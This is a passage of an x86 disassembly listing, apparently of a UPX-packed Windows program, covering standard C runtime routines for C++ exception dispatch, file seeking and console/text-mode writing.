jz short loc_41098D
call sub_40E38F
lea edi, [eax+80h]
call sub_40E13A
cmp [edi], eax
jz short loc_41098D
cmp dword ptr [esi], 0E0434F4Dh
jz short loc_41098D
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_40C17D
add esp, 1Ch
test eax, eax
jnz loc_410A18
loc_41098D: ; CODE XREF: sub_410928+24j
; sub_410928+38j ...
mov edi, [ebp+arg_10]
cmp dword ptr [edi+0Ch], 0
jnz short loc_41099B
call sub_40E077
loc_41099B: ; CODE XREF: sub_410928+6Cj
mov esi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push esi
push [ebp+arg_18]
push edi
call sub_40C2F3
mov edi, eax
mov eax, [ebp+var_4]
add esp, 14h
cmp eax, [ebp+var_8]
jnb short loc_410A18
push ebx
loc_4109BE: ; CODE XREF: sub_410928+EDj
cmp esi, [edi]
jl short loc_410A09
cmp esi, [edi+4]
jg short loc_410A09
mov eax, [edi+0Ch]
mov ecx, [edi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_4109DF
cmp byte ptr [ecx+8], 0
jnz short loc_410A09
loc_4109DF: ; CODE XREF: sub_410928+AFj
lea ebx, [eax-10h]
test byte ptr [ebx], 40h
jnz short loc_410A09
push [ebp+arg_1C]
mov esi, [ebp+arg_4]
push [ebp+arg_18]
push 0
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_0]
call sub_4108BA
mov esi, [ebp+arg_14]
add esp, 1Ch
loc_410A09: ; CODE XREF: sub_410928+98j
; sub_410928+9Dj ...
inc [ebp+var_4]
mov eax, [ebp+var_4]
add edi, 14h
cmp eax, [ebp+var_8]
jb short loc_4109BE
pop ebx
loc_410A18: ; CODE XREF: sub_410928+5Fj
; sub_410928+93j
pop edi
loc_410A19: ; CODE XREF: sub_410928+11j
pop esi
leave
retn
sub_410928 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410A1C proc near ; CODE XREF: sub_410D80+D6p
var_2C = byte ptr -2Ch
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
mov edi, edi
push ebp
mov ebp, esp
sub esp, 2Ch
mov ecx, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_10]
mov eax, [ebx+4]
cmp eax, 80h
push esi
push edi
mov [ebp+var_1], 0
jg short loc_410A41
movsx ecx, byte ptr [ecx+8]
jmp short loc_410A44
; ---------------------------------------------------------------------------
loc_410A41: ; CODE XREF: sub_410A1C+1Dj
mov ecx, [ecx+8]
loc_410A44: ; CODE XREF: sub_410A1C+23j
cmp ecx, 0FFFFFFFFh
mov [ebp+var_8], ecx
jl short loc_410A50
cmp ecx, eax
jl short loc_410A55
loc_410A50: ; CODE XREF: sub_410A1C+2Ej
call sub_40E077
loc_410A55: ; CODE XREF: sub_410A1C+32j
mov esi, [ebp+arg_0]
mov edi, 0E06D7363h
cmp [esi], edi
jnz loc_410D1F
cmp dword ptr [esi+10h], 3
mov ebx, 19930520h
jnz loc_410B8C
mov eax, [esi+14h]
cmp eax, ebx
jz short loc_410A8D
cmp eax, 19930521h
jz short loc_410A8D
cmp eax, 19930522h
jnz loc_410B8C
loc_410A8D: ; CODE XREF: sub_410A1C+5Dj
; sub_410A1C+64j
cmp dword ptr [esi+1Ch], 0
jnz loc_410B8C
call sub_40E38F
cmp dword ptr [eax+88h], 0
jz loc_410D5E
call sub_40E38F
mov esi, [eax+88h]
mov [ebp+arg_0], esi
call sub_40E38F
mov eax, [eax+8Ch]
push 1
push esi
mov [ebp+arg_8], eax
call sub_414737
pop ecx
pop ecx
test eax, eax
jnz short loc_410AD8
call sub_40E077
loc_410AD8: ; CODE XREF: sub_410A1C+B5j
cmp [esi], edi
jnz short loc_410B02
cmp dword ptr [esi+10h], 3
jnz short loc_410B02
mov eax, [esi+14h]
cmp eax, ebx
jz short loc_410AF7
cmp eax, 19930521h
jz short loc_410AF7
cmp eax, 19930522h
jnz short loc_410B02
loc_410AF7: ; CODE XREF: sub_410A1C+CBj
; sub_410A1C+D2j
cmp dword ptr [esi+1Ch], 0
jnz short loc_410B02
call sub_40E077
loc_410B02: ; CODE XREF: sub_410A1C+BEj
; sub_410A1C+C4j ...
call sub_40E38F
cmp dword ptr [eax+94h], 0
jz short loc_410B8C
call sub_40E38F
mov edi, [eax+94h]
call sub_40E38F
push [ebp+arg_0]
xor esi, esi
mov [eax+94h], esi
call sub_410449
pop ecx
test al, al
jnz short loc_410B84
xor ebx, ebx
cmp [edi], ebx
jle short loc_410B58
loc_410B3B: ; CODE XREF: sub_410A1C+13Aj
mov eax, [edi+4]
mov ecx, [ebx+eax+4]
push offset off_42A424
call sub_40B424
test al, al
jnz short loc_410B5D
inc esi
add ebx, 10h
cmp esi, [edi]
jl short loc_410B3B
loc_410B58: ; CODE XREF: sub_410A1C+11Dj
; sub_410A1C+30Dj
call sub_40E02B
loc_410B5D: ; CODE XREF: sub_410A1C+132j
push 1
push [ebp+arg_0]
call sub_4103CB
pop ecx
pop ecx
push offset dword_41DCB0
lea ecx, [ebp+var_2C]
call sub_4101AD
push offset dword_426B74
lea eax, [ebp+var_2C]
push eax
call sub_40C03B
loc_410B84: ; CODE XREF: sub_410A1C+117j
mov esi, [ebp+arg_0]
mov edi, 0E06D7363h
loc_410B8C: ; CODE XREF: sub_410A1C+52j
; sub_410A1C+6Bj ...
cmp [esi], edi
jnz loc_410D1C
cmp dword ptr [esi+10h], 3
jnz loc_410D1C
mov eax, [esi+14h]
cmp eax, ebx
jz short loc_410BB7
cmp eax, 19930521h
jz short loc_410BB7
cmp eax, 19930522h
jnz loc_410D1C
loc_410BB7: ; CODE XREF: sub_410A1C+187j
; sub_410A1C+18Ej
mov edi, [ebp+arg_10]
cmp dword ptr [edi+0Ch], 0
jbe loc_410C83
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_10]
push eax
push [ebp+var_8]
push [ebp+arg_18]
push edi
call sub_40C2F3
add esp, 14h
mov edi, eax
loc_410BDD: ; CODE XREF: sub_410A1C+25Fj
mov eax, [ebp+var_10]
cmp eax, [ebp+var_1C]
jnb loc_410C80
mov eax, [ebp+var_8]
cmp [edi], eax
jg loc_410C75
cmp eax, [edi+4]
jg short loc_410C75
mov eax, [edi+10h]
mov [ebp+var_C], eax
mov eax, [edi+0Ch]
mov [ebp+var_18], eax
test eax, eax
jle short loc_410C75
loc_410C09: ; CODE XREF: sub_410A1C+22Dj
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea ebx, [eax+4]
mov eax, [eax]
mov [ebp+var_14], eax
test eax, eax
jle short loc_410C3E
loc_410C1B: ; CODE XREF: sub_410A1C+220j
push dword ptr [esi+1Ch]
mov eax, [ebx]
push eax
push [ebp+var_C]
mov [ebp+var_20], eax
call sub_4101FD
add esp, 0Ch
test eax, eax
jnz short loc_410C4D
dec [ebp+var_14]
add ebx, 4
cmp [ebp+var_14], eax
jg short loc_410C1B
loc_410C3E: ; CODE XREF: sub_410A1C+1FDj
dec [ebp+var_18]
add [ebp+var_C], 10h
cmp [ebp+var_18], 0
jg short loc_410C09
jmp short loc_410C75
; ---------------------------------------------------------------------------
loc_410C4D: ; CODE XREF: sub_410A1C+215j
push [ebp+arg_1C]
mov ebx, [ebp+var_C]
push [ebp+arg_18]
mov [ebp+var_1], 1
push [ebp+var_20]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push esi
mov esi, [ebp+arg_4]
call sub_4108BA
mov esi, [ebp+arg_0]
add esp, 1Ch
loc_410C75: ; CODE XREF: sub_410A1C+1D2j
; sub_410A1C+1DBj ...
inc [ebp+var_10]
add edi, 14h
jmp loc_410BDD
; ---------------------------------------------------------------------------
loc_410C80: ; CODE XREF: sub_410A1C+1C7j
mov edi, [ebp+arg_10]
loc_410C83: ; CODE XREF: sub_410A1C+1A2j
cmp [ebp+arg_14], 0
jz short loc_410C93
push 1
push esi
call sub_4103CB
pop ecx
pop ecx
loc_410C93: ; CODE XREF: sub_410A1C+26Bj
cmp [ebp+var_1], 0
jnz loc_410D4B
mov eax, [edi]
and eax, 1FFFFFFFh
cmp eax, 19930521h
jb loc_410D4B
mov edi, [edi+1Ch]
test edi, edi
jz loc_410D4B
push esi
call sub_410449
pop ecx
test al, al
jnz loc_410D4B
call sub_40E38F
call sub_40E38F
call sub_40E38F
mov [eax+88h], esi
call sub_40E38F
cmp [ebp+arg_1C], 0
mov ecx, [ebp+arg_8]
mov [eax+8Ch], ecx
push esi
jnz short loc_410CF8
push [ebp+arg_4]
jmp short loc_410CFB
; ---------------------------------------------------------------------------
loc_410CF8: ; CODE XREF: sub_410A1C+2D5j
push [ebp+arg_1C]
loc_410CFB: ; CODE XREF: sub_410A1C+2DAj
call sub_40C0C0
mov esi, [ebp+arg_10]
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_4102A5
add esp, 10h
push dword ptr [esi+1Ch]
call sub_4104C4
loc_410D1C: ; CODE XREF: sub_410A1C+172j
; sub_410A1C+17Cj ...
mov ebx, [ebp+arg_10]
loc_410D1F: ; CODE XREF: sub_410A1C+43j
cmp dword ptr [ebx+0Ch], 0
jbe short loc_410D4B
cmp [ebp+arg_14], 0
jnz loc_410B58
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_8]
push ebx
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_410928
add esp, 20h
loc_410D4B: ; CODE XREF: sub_410A1C+27Bj
; sub_410A1C+28Dj ...
call sub_40E38F
cmp dword ptr [eax+94h], 0
jz short loc_410D5E
call sub_40E077
loc_410D5E: ; CODE XREF: sub_410A1C+87j
; sub_410A1C+33Bj
pop edi
pop esi
pop ebx
leave
retn
sub_410A1C endp
; ---------------------------------------------------------------------------
mov edi, edi
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+8]
mov esi, ecx
call sub_40AD27
mov dword ptr [esi], offset off_41DCA8
mov eax, esi
pop esi
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410D80 proc near ; CODE XREF: UPX0:0040C135p
; sub_40C14A+28p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
push edi
call sub_40E38F
cmp dword ptr [eax+20Ch], 0
mov eax, [ebp+arg_10]
mov ecx, [ebp+arg_0]
mov edi, 0E06D7363h
mov esi, 1FFFFFFFh
mov ebx, 19930522h
jnz short loc_410DCB
mov edx, [ecx]
cmp edx, edi
jz short loc_410DCB
cmp edx, 80000026h
jz short loc_410DCB
mov edx, [eax]
and edx, esi
cmp edx, ebx
jb short loc_410DCB
test byte ptr [eax+20h], 1
jnz loc_410E5E
loc_410DCB: ; CODE XREF: sub_410D80+29j
; sub_410D80+2Fj ...
test byte ptr [ecx+4], 66h
jz short loc_410DF4
cmp dword ptr [eax+4], 0
jz loc_410E5E
cmp [ebp+arg_14], 0
jnz short loc_410E5E
push 0FFFFFFFFh
push eax
push [ebp+arg_C]
push [ebp+arg_4]
call sub_4102A5
add esp, 10h
jmp short loc_410E5E
; ---------------------------------------------------------------------------
loc_410DF4: ; CODE XREF: sub_410D80+4Fj
cmp dword ptr [eax+0Ch], 0
jnz short loc_410E0C
mov edx, [eax]
and edx, esi
cmp edx, 19930521h
jb short loc_410E5E
cmp dword ptr [eax+1Ch], 0
jz short loc_410E5E
loc_410E0C: ; CODE XREF: sub_410D80+78j
cmp [ecx], edi
jnz short loc_410E42
cmp dword ptr [ecx+10h], 3
jb short loc_410E42
cmp [ecx+14h], ebx
jbe short loc_410E42
mov edx, [ecx+1Ch]
mov edx, [edx+8]
test edx, edx
jz short loc_410E42
movzx esi, byte ptr [ebp+arg_1C]
push esi
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push ecx
call edx
add esp, 20h
jmp short loc_410E61
; ---------------------------------------------------------------------------
loc_410E42: ; CODE XREF: sub_410D80+8Ej
; sub_410D80+94j ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push ecx
call sub_410A1C
add esp, 20h
loc_410E5E: ; CODE XREF: sub_410D80+45j
; sub_410D80+55j ...
xor eax, eax
inc eax
loc_410E61: ; CODE XREF: sub_410D80+C0j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_410D80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410E70 proc near ; CODE XREF: sub_40C40D+4Cp
; sub_4102A5+77p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_41470C
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_410EAF
mov ecx, 2
loc_410EAF: ; CODE XREF: sub_410E70+38j
push ecx
call sub_41470C
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_410E70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410EBC proc near ; CODE XREF: sub_410F41+CDp
; sub_41105A+DFp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
push edi
push esi
mov [ebp+var_4], eax
call sub_4147CF
or edi, 0FFFFFFFFh
pop ecx
cmp eax, edi
jnz short loc_410EF3
call sub_40C862
mov dword ptr [eax], 9
loc_410EED: ; CODE XREF: sub_410EBC+60j
mov eax, edi
mov edx, edi
jmp short loc_410F3D
; ---------------------------------------------------------------------------
loc_410EF3: ; CODE XREF: sub_410EBC+24j
push [ebp+arg_C]
lea ecx, [ebp+var_4]
push ecx
push [ebp+var_8]
push eax
call dword_41D144 ; SetFilePointer
mov [ebp+var_8], eax
cmp eax, edi
jnz short loc_410F1E
call dword_41D1D8 ; RtlGetLastWin32Error
test eax, eax
jz short loc_410F1E
push eax
call sub_40C888
pop ecx
jmp short loc_410EED
; ---------------------------------------------------------------------------
loc_410F1E: ; CODE XREF: sub_410EBC+4Dj
; sub_410EBC+57j
mov eax, esi
sar eax, 5
mov eax, dword_430160[eax*4]
and esi, 1Fh
shl esi, 6
lea eax, [eax+esi+4]
and byte ptr [eax], 0FDh
mov eax, [ebp+var_8]
mov edx, [ebp+var_4]
loc_410F3D: ; CODE XREF: sub_410EBC+35j
pop edi
pop esi
leave
retn
sub_410EBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F41 proc near ; CODE XREF: sub_40C635+11Ap
; sub_4154F0+121p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push 14h
push offset dword_426BB0
call __SEH_prolog4
or esi, 0FFFFFFFFh
mov [ebp+var_24], esi
mov [ebp+var_20], esi
mov eax, [ebp+arg_0]
cmp eax, 0FFFFFFFEh
jnz short loc_410F7A
call sub_40C875
and dword ptr [eax], 0
call sub_40C862
mov dword ptr [eax], 9
loc_410F71: ; CODE XREF: sub_410F41+66j
mov eax, esi
mov edx, esi
jmp loc_41104A
; ---------------------------------------------------------------------------
loc_410F7A: ; CODE XREF: sub_410F41+1Bj
xor edi, edi
cmp eax, edi
jl short loc_410F88
cmp eax, dword_430148
jb short loc_410FA9
loc_410F88: ; CODE XREF: sub_410F41+3Dj
call sub_40C875
mov [eax], edi
call sub_40C862
mov dword ptr [eax], 9
push edi
push edi
push edi
push edi
push edi
call sub_40B255
add esp, 14h
jmp short loc_410F71
; ---------------------------------------------------------------------------
loc_410FA9: ; CODE XREF: sub_410F41+45j
mov ecx, eax
sar ecx, 5
lea ebx, ds:430160h[ecx*4]
mov esi, eax
and esi, 1Fh
shl esi, 6
mov ecx, [ebx]
movsx ecx, byte ptr [ecx+esi+4]
and ecx, 1
jnz short loc_410FEF
call sub_40C875
mov [eax], edi
call sub_40C862
mov dword ptr [eax], 9
push edi
push edi
push edi
push edi
push edi
call sub_40B255
add esp, 14h
or edx, 0FFFFFFFFh
mov eax, edx
jmp short loc_41104A
; ---------------------------------------------------------------------------
loc_410FEF: ; CODE XREF: sub_410F41+86j
push eax
call sub_414846
pop ecx
mov [ebp+ms_exc.disabled], edi
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_41101E
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_410EBC
add esp, 10h
mov [ebp+var_24], eax
mov [ebp+var_20], edx
jmp short loc_411038
; ---------------------------------------------------------------------------
loc_41101E: ; CODE XREF: sub_410F41+BFj
call sub_40C862
mov dword ptr [eax], 9
call sub_40C875
mov [eax], edi
or [ebp+var_24], 0FFFFFFFFh
or [ebp+var_20], 0FFFFFFFFh
loc_411038: ; CODE XREF: sub_410F41+DBj
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_411050
mov eax, [ebp+var_24]
mov edx, [ebp+var_20]
loc_41104A: ; CODE XREF: sub_410F41+34j
; sub_410F41+ACj
call __SEH_epilog4
retn
sub_410F41 endp
; =============== S U B R O U T I N E =======================================
sub_411050 proc near ; CODE XREF: sub_410F41+FEp
; DATA XREF: UPX0:00426BC8o
push dword ptr [ebp+8]
call sub_4148E6
pop ecx
retn
sub_411050 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41105A proc near ; CODE XREF: sub_41178D+9Ap
var_1AE4 = dword ptr -1AE4h
var_1AE0 = dword ptr -1AE0h
var_1AD9 = byte ptr -1AD9h
var_1AD8 = dword ptr -1AD8h
var_1AD4 = dword ptr -1AD4h
var_1AD0 = dword ptr -1AD0h
var_1ACC = dword ptr -1ACCh
var_1AC8 = dword ptr -1AC8h
var_1AC4 = dword ptr -1AC4h
var_1AC0 = dword ptr -1AC0h
var_1ABC = dword ptr -1ABCh
var_1AB8 = byte ptr -1AB8h
var_1410 = byte ptr -1410h
var_6B8 = byte ptr -6B8h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
mov edi, edi
push ebp
mov ebp, esp
mov eax, 1AE4h
call sub_40E000
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
push esi
xor esi, esi
mov [ebp+var_1ACC], eax
mov [ebp+var_1AC8], esi
mov [ebp+var_1AD0], esi
cmp [ebp+arg_8], esi
jnz short loc_411097
xor eax, eax
jmp loc_411780
; ---------------------------------------------------------------------------
loc_411097: ; CODE XREF: sub_41105A+34j
cmp eax, esi
jnz short loc_4110C2
call sub_40C875
mov [eax], esi
call sub_40C862
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
or eax, 0FFFFFFFFh
jmp loc_411780
; ---------------------------------------------------------------------------
loc_4110C2: ; CODE XREF: sub_41105A+3Fj
push ebx
push edi
mov edi, [ebp+arg_0]
mov eax, edi
sar eax, 5
lea esi, ds:430160h[eax*4]
mov eax, [esi]
and edi, 1Fh
shl edi, 6
add eax, edi
mov bl, [eax+24h]
add bl, bl
sar bl, 1
mov [ebp+var_1AD8], esi
mov [ebp+var_1AD9], bl
cmp bl, 2
jz short loc_4110FA
cmp bl, 1
jnz short loc_41112A
loc_4110FA: ; CODE XREF: sub_41105A+99j
mov ecx, [ebp+arg_8]
not ecx
test cl, 1
jnz short loc_41112A
call sub_40C875
xor esi, esi
mov [eax], esi
call sub_40C862
push esi
push esi
push esi
push esi
push esi
mov dword ptr [eax], 16h
call sub_40B255
add esp, 14h
jmp loc_41176D
; ---------------------------------------------------------------------------
loc_41112A: ; CODE XREF: sub_41105A+9Ej
; sub_41105A+A8j
test byte ptr [eax+4], 20h
jz short loc_411141
push 2
push 0
push 0
push [ebp+arg_0]
call sub_410EBC
add esp, 10h
loc_411141: ; CODE XREF: sub_41105A+D4j
push [ebp+arg_0]
call sub_4118B2
pop ecx
test eax, eax
jz loc_4113EF
mov eax, [esi]
test byte ptr [edi+eax+4], 80h
jz loc_4113EF
call sub_40E38F
mov eax, [eax+6Ch]
xor ecx, ecx
cmp [eax+14h], ecx
lea eax, [ebp+var_1AE4]
setz cl
push eax
mov eax, [esi]
push dword ptr [edi+eax]
mov [ebp+var_1AE0], ecx
call dword_41D13C ; GetConsoleMode
test eax, eax
jz loc_4113EF
xor ecx, ecx
cmp [ebp+var_1AE0], ecx
jz short loc_4111A1
test bl, bl
jz loc_4113F1
loc_4111A1: ; CODE XREF: sub_41105A+13Dj
call dword_41D140 ; GetConsoleCP
mov ebx, [ebp+var_1ACC]
mov [ebp+var_1AE4], eax
xor eax, eax
mov [ebp+var_1AC4], eax
cmp [ebp+arg_8], eax
jbe loc_411706
mov [ebp+var_1ABC], eax
loc_4111CA: ; CODE XREF: sub_41105A+371j
mov al, [ebp+var_1AD9]
test al, al
jnz loc_41133F
mov cl, [ebx]
mov esi, [ebp+var_1AD8]
xor eax, eax
cmp cl, 0Ah
setz al
mov [ebp+var_1AE0], eax
mov eax, [esi]
add eax, edi
cmp dword ptr [eax+38h], 0
jz short loc_41120D
mov dl, [eax+34h]
mov [ebp+var_C], dl
mov [ebp+var_B], cl
and dword ptr [eax+38h], 0
push 2
lea eax, [ebp+var_C]
push eax
jmp short loc_411258
; ---------------------------------------------------------------------------
loc_41120D: ; CODE XREF: sub_41105A+19Cj
movsx eax, cl
push eax
call sub_41282C
pop ecx
test eax, eax
jz short loc_411255
mov ecx, [ebp+var_1ACC]
sub ecx, ebx
add ecx, [ebp+arg_8]
xor eax, eax
inc eax
cmp ecx, eax
jbe loc_4113D6
push 2
lea eax, [ebp+var_1AC0]
push ebx
push eax
call sub_4127DA
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_4116FD
inc ebx
inc [ebp+var_1ABC]
jmp short loc_411270
; ---------------------------------------------------------------------------
loc_411255: ; CODE XREF: sub_41105A+1BFj
push 1
push ebx
loc_411258: ; CODE XREF: sub_41105A+1B1j
lea eax, [ebp+var_1AC0]
push eax
call sub_4127DA
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_4116FD
loc_411270: ; CODE XREF: sub_41105A+1F9j
xor eax, eax
push eax
push eax
push 5
lea ecx, [ebp+var_C]
push ecx
push 1
lea ecx, [ebp+var_1AC0]
push ecx
push eax
push [ebp+var_1AE4]
inc ebx
inc [ebp+var_1ABC]
call dword_41D07C ; WideCharToMultiByte
mov esi, eax
test esi, esi
jz loc_4116FD
push 0
lea eax, [ebp+var_1AC4]
push eax
push esi
lea eax, [ebp+var_C]
push eax
mov eax, [ebp+var_1AD8]
mov eax, [eax]
push dword ptr [edi+eax]
call dword_41D188 ; WriteFile
test eax, eax
jz loc_4116F1
mov eax, [ebp+var_1ABC]
mov ecx, [ebp+var_1AD0]
add eax, ecx
cmp [ebp+var_1AC4], esi
mov [ebp+var_1AC8], eax
jl loc_4116FD
cmp [ebp+var_1AE0], 0
jz loc_4113C2
push 0
lea eax, [ebp+var_1AC4]
push eax
push 1
lea eax, [ebp+var_C]
push eax
mov eax, [ebp+var_1AD8]
mov eax, [eax]
mov [ebp+var_C], 0Dh
push dword ptr [edi+eax]
call dword_41D188 ; WriteFile
test eax, eax
jz loc_4116F1
cmp [ebp+var_1AC4], 1
jl loc_4116FD
inc [ebp+var_1AD0]
inc [ebp+var_1AC8]
jmp loc_4113C2
; ---------------------------------------------------------------------------
loc_41133F: ; CODE XREF: sub_41105A+178j
cmp al, 1
jz short loc_411347
cmp al, 2
jnz short loc_411368
loc_411347: ; CODE XREF: sub_41105A+2E7j
movzx esi, word ptr [ebx]
xor ecx, ecx
cmp si, 0Ah
setz cl
inc ebx
inc ebx
add [ebp+var_1ABC], 2
mov [ebp+var_1AC0], esi
mov [ebp+var_1AE0], ecx
loc_411368: ; CODE XREF: sub_41105A+2EBj
cmp al, 1
jz short loc_411370
cmp al, 2
jnz short loc_4113C2
loc_411370: ; CODE XREF: sub_41105A+310j
push [ebp+var_1AC0]
call sub_41490D
pop ecx
cmp ax, word ptr [ebp+var_1AC0]
jnz loc_4116F1
add [ebp+var_1AC8], 2
cmp [ebp+var_1AE0], 0
jz short loc_4113C2
push 0Dh
pop eax
push eax
mov [ebp+var_1AC0], eax
call sub_41490D
pop ecx
cmp ax, word ptr [ebp+var_1AC0]
jnz loc_4116F1
inc [ebp+var_1AC8]
inc [ebp+var_1AD0]
loc_4113C2: ; CODE XREF: sub_41105A+295j
; sub_41105A+2E0j ...
mov eax, [ebp+arg_8]
cmp [ebp+var_1ABC], eax
jb loc_4111CA
jmp loc_4116FD
; ---------------------------------------------------------------------------
loc_4113D6: ; CODE XREF: sub_41105A+1D1j
mov ecx, [esi]
mov dl, [ebx]
inc [ebp+var_1AC8]
mov [edi+ecx+34h], dl
mov ecx, [esi]
mov [edi+ecx+38h], eax
jmp loc_4116FD
; ---------------------------------------------------------------------------
loc_4113EF: ; CODE XREF: sub_41105A+F2j
; sub_41105A+FFj ...
xor ecx, ecx
loc_4113F1: ; CODE XREF: sub_41105A+141j
mov eax, [esi]
add eax, edi
test byte ptr [eax+4], 80h
jz loc_4116BE
mov eax, [ebp+var_1ACC]
mov [ebp+var_1AC0], ecx
test bl, bl
jnz loc_4114DD
mov [ebp+var_1AC4], eax
cmp [ebp+arg_8], ecx
jbe loc_411742
jmp short loc_41142A
; ---------------------------------------------------------------------------
loc_411424: ; CODE XREF: sub_41105A+478j
mov esi, [ebp+var_1AD8]
loc_41142A: ; CODE XREF: sub_41105A+3C8j
mov ecx, [ebp+var_1AC4]
and [ebp+var_1ABC], 0
sub ecx, [ebp+var_1ACC]
lea eax, [ebp+var_1AB8]
loc_411443: ; CODE XREF: sub_41105A+425j
cmp ecx, [ebp+arg_8]
jnb short loc_411481
mov edx, [ebp+var_1AC4]
inc [ebp+var_1AC4]
mov dl, [edx]
inc ecx
cmp dl, 0Ah
jnz short loc_41146C
inc [ebp+var_1AD0]
mov byte ptr [eax], 0Dh
inc eax
inc [ebp+var_1ABC]
loc_41146C: ; CODE XREF: sub_41105A+400j
mov [eax], dl
inc eax
inc [ebp+var_1ABC]
cmp [ebp+var_1ABC], 13FFh
jb short loc_411443
loc_411481: ; CODE XREF: sub_41105A+3ECj
mov ebx, eax
lea eax, [ebp+var_1AB8]
sub ebx, eax
push 0
lea eax, [ebp+var_1AD4]
push eax
push ebx
lea eax, [ebp+var_1AB8]
push eax
mov eax, [esi]
push dword ptr [edi+eax]
call dword_41D188 ; WriteFile
test eax, eax
jz loc_4116F1
mov eax, [ebp+var_1AD4]
add [ebp+var_1AC8], eax
cmp eax, ebx
jl loc_4116FD
mov eax, [ebp+var_1AC4]
sub eax, [ebp+var_1ACC]
cmp eax, [ebp+arg_8]
jb loc_411424
jmp loc_4116FD
; ---------------------------------------------------------------------------
loc_4114DD: ; CODE XREF: sub_41105A+3B3j
mov [ebp+var_1ABC], eax
cmp bl, 2
jnz loc_4115BD
cmp [ebp+arg_8], ecx
jbe loc_411742
jmp short loc_4114FD
; ---------------------------------------------------------------------------
loc_4114F7: ; CODE XREF: sub_41105A+558j
mov esi, [ebp+var_1AD8]
loc_4114FD: ; CODE XREF: sub_41105A+49Bj
mov ecx, [ebp+var_1ABC]
and [ebp+var_1AC4], 0
sub ecx, [ebp+var_1ACC]
lea eax, [ebp+var_1AB8]
loc_411516: ; CODE XREF: sub_41105A+505j
cmp ecx, [ebp+arg_8]
jnb short loc_411561
mov edx, [ebp+var_1ABC]
add [ebp+var_1ABC], 2
movzx edx, word ptr [edx]
inc ecx
inc ecx
cmp dx, 0Ah
jnz short loc_411549
add [ebp+var_1AD0], 2
push 0Dh
pop ebx
mov [eax], bx
inc eax
inc eax
add [ebp+var_1AC4], 2
loc_411549: ; CODE XREF: sub_41105A+4D7j
add [ebp+var_1AC4], 2
mov [eax], dx
inc eax
inc eax
cmp [ebp+var_1AC4], 13FEh
jb short loc_411516
loc_411561: ; CODE XREF: sub_41105A+4BFj
mov ebx, eax
lea eax, [ebp+var_1AB8]
sub ebx, eax
push 0
lea eax, [ebp+var_1AD4]
push eax
